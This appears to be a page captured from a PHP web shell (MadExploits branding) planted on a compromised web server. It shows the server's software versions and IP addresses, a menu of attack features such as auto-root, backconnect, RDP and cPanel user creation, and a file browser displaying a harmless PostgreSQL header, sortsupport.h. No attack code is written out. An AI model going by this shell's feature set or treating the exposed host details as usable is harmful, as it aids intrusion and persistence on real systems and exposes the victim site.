Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
pgsql /
server /
utils /
[ HOME SHELL ]
Name
Size
Permission
Action
acl.h
12.79
KB
-rw-r--r--
array.h
10.97
KB
-rw-r--r--
ascii.h
579
B
-rw-r--r--
attoptcache.h
725
B
-rw-r--r--
builtins.h
47.77
KB
-rw-r--r--
bytea.h
1.58
KB
-rw-r--r--
cash.h
2.07
KB
-rw-r--r--
catcache.h
7.51
KB
-rw-r--r--
combocid.h
698
B
-rw-r--r--
date.h
7.73
KB
-rw-r--r--
datetime.h
9.92
KB
-rw-r--r--
datum.h
1.48
KB
-rw-r--r--
dynahash.h
498
B
-rw-r--r--
dynamic_loader.h
648
B
-rw-r--r--
elog.h
12.56
KB
-rw-r--r--
errcodes.h
19.61
KB
-rw-r--r--
fmgroids.h
61.09
KB
-rw-r--r--
fmgrtab.h
1.15
KB
-rw-r--r--
formatting.h
1.41
KB
-rw-r--r--
geo_decls.h
15.86
KB
-rw-r--r--
guc.h
13.19
KB
-rw-r--r--
guc_tables.h
7.15
KB
-rw-r--r--
help_config.h
432
B
-rw-r--r--
hsearch.h
5.51
KB
-rw-r--r--
inet.h
2.66
KB
-rw-r--r--
int8.h
4.03
KB
-rw-r--r--
inval.h
1.81
KB
-rw-r--r--
json.h
916
B
-rw-r--r--
logtape.h
1.5
KB
-rw-r--r--
lsyscache.h
6.51
KB
-rw-r--r--
memutils.h
5.2
KB
-rw-r--r--
nabstime.h
5.79
KB
-rw-r--r--
numeric.h
1.88
KB
-rw-r--r--
palloc.h
3.92
KB
-rw-r--r--
pg_crc.h
4.36
KB
-rw-r--r--
pg_crc_tables.h
19.73
KB
-rw-r--r--
pg_locale.h
2.59
KB
-rw-r--r--
pg_lzcompress.h
2.97
KB
-rw-r--r--
pg_rusage.h
847
B
-rw-r--r--
plancache.h
8.02
KB
-rw-r--r--
portal.h
9.22
KB
-rw-r--r--
probes.h
37.93
KB
-rw-r--r--
ps_status.h
668
B
-rw-r--r--
rangetypes.h
7.4
KB
-rw-r--r--
rbtree.h
2.26
KB
-rw-r--r--
rel.h
12.27
KB
-rw-r--r--
relcache.h
3.17
KB
-rw-r--r--
relmapper.h
1.68
KB
-rw-r--r--
reltrigger.h
1.95
KB
-rw-r--r--
resowner.h
5.07
KB
-rw-r--r--
selfuncs.h
7.5
KB
-rw-r--r--
snapmgr.h
1.59
KB
-rw-r--r--
snapshot.h
2.59
KB
-rw-r--r--
sortsupport.h
5.3
KB
-rw-r--r--
spccache.h
556
B
-rw-r--r--
syscache.h
5.51
KB
-rw-r--r--
timestamp.h
9.5
KB
-rw-r--r--
tqual.h
3.5
KB
-rw-r--r--
tuplesort.h
4.62
KB
-rw-r--r--
tuplestore.h
3.14
KB
-rw-r--r--
typcache.h
4.26
KB
-rw-r--r--
tzparser.h
1.13
KB
-rw-r--r--
uuid.h
861
B
-rw-r--r--
varbit.h
4.27
KB
-rw-r--r--
xml.h
3.89
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sortsupport.h
/*------------------------------------------------------------------------- * * sortsupport.h * Framework for accelerated sorting. * * Traditionally, PostgreSQL has implemented sorting by repeatedly invoking * an SQL-callable comparison function "cmp(x, y) returns int" on pairs of * values to be compared, where the comparison function is the BTORDER_PROC * pg_amproc support function of the appropriate btree index opclass. * * This file defines alternative APIs that allow sorting to be performed with * reduced overhead. To support lower-overhead sorting, a btree opclass may * provide a BTSORTSUPPORT_PROC pg_amproc entry, which must take a single * argument of type internal and return void. The argument is actually a * pointer to a SortSupportData struct, which is defined below. * * If provided, the BTSORTSUPPORT function will be called during sort setup, * and it must initialize the provided struct with pointers to function(s) * that can be called to perform sorting. This API is defined to allow * multiple acceleration mechanisms to be supported, but no opclass is * required to provide all of them. The BTSORTSUPPORT function should * simply not set any function pointers for mechanisms it doesn't support. * (However, all opclasses that provide BTSORTSUPPORT are required to provide * the comparator function.) * * All sort support functions will be passed the address of the * SortSupportData struct when called, so they can use it to store * additional private data as needed. In particular, for collation-aware * datatypes, the ssup_collation field is set before calling BTSORTSUPPORT * and is available to all support functions. Additional opclass-dependent * data can be stored using the ssup_extra field. Any such data * should be allocated in the ssup_cxt memory context. * * Note: since pg_amproc functions are indexed by (lefttype, righttype) * it is possible to associate a BTSORTSUPPORT function with a cross-type * comparison. This could sensibly be used to provide a fast comparator * function for such cases, but probably not any other acceleration method. * * * Portions Copyright (c) 1996-2012, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * src/include/utils/sortsupport.h * *------------------------------------------------------------------------- */ #ifndef SORTSUPPORT_H #define SORTSUPPORT_H #include "access/attnum.h" typedef struct SortSupportData *SortSupport; typedef struct SortSupportData { /* * These fields are initialized before calling the BTSORTSUPPORT function * and should not be changed later. */ MemoryContext ssup_cxt; /* Context containing sort info */ Oid ssup_collation; /* Collation to use, or InvalidOid */ /* * Additional sorting parameters; but unlike ssup_collation, these can be * changed after BTSORTSUPPORT is called, so don't use them in selecting * sort support functions. */ bool ssup_reverse; /* descending-order sort? */ bool ssup_nulls_first; /* sort nulls first? */ /* * These fields are workspace for callers, and should not be touched by * opclass-specific functions. */ AttrNumber ssup_attno; /* column number to sort */ /* * ssup_extra is zeroed before calling the BTSORTSUPPORT function, and is * not touched subsequently by callers. */ void *ssup_extra; /* Workspace for opclass functions */ /* * Function pointers are zeroed before calling the BTSORTSUPPORT function, * and must be set by it for any acceleration methods it wants to supply. * The comparator pointer must be set, others are optional. */ /* * Comparator function has the same API as the traditional btree * comparison function, ie, return <0, 0, or >0 according as x is less * than, equal to, or greater than y. Note that x and y are guaranteed * not null, and there is no way to return null either. Do not return * INT_MIN, as callers are allowed to negate the result before using it. */ int (*comparator) (Datum x, Datum y, SortSupport ssup); /* * Additional sort-acceleration functions might be added here later. */ } SortSupportData; /* ApplySortComparator should be inlined if possible */ #ifdef USE_INLINE /* * Apply a sort comparator function and return a 3-way comparison result. * This takes care of handling reverse-sort and NULLs-ordering properly. */ static inline int ApplySortComparator(Datum datum1, bool isNull1, Datum datum2, bool isNull2, SortSupport ssup) { int compare; if (isNull1) { if (isNull2) compare = 0; /* NULL "=" NULL */ else if (ssup->ssup_nulls_first) compare = -1; /* NULL "<" NOT_NULL */ else compare = 1; /* NULL ">" NOT_NULL */ } else if (isNull2) { if (ssup->ssup_nulls_first) compare = 1; /* NOT_NULL ">" NULL */ else compare = -1; /* NOT_NULL "<" NULL */ } else { compare = (*ssup->comparator) (datum1, datum2, ssup); if (ssup->ssup_reverse) compare = -compare; } return compare; } #else extern int ApplySortComparator(Datum datum1, bool isNull1, Datum datum2, bool isNull2, SortSupport ssup); #endif /* USE_INLINE */ /* Other functions in utils/sort/sortsupport.c */ extern void PrepareSortSupportComparisonShim(Oid cmpFunc, SortSupport ssup); extern void PrepareSortSupportFromOrderingOp(Oid orderingOp, SortSupport ssup); #endif /* SORTSUPPORT_H */
Close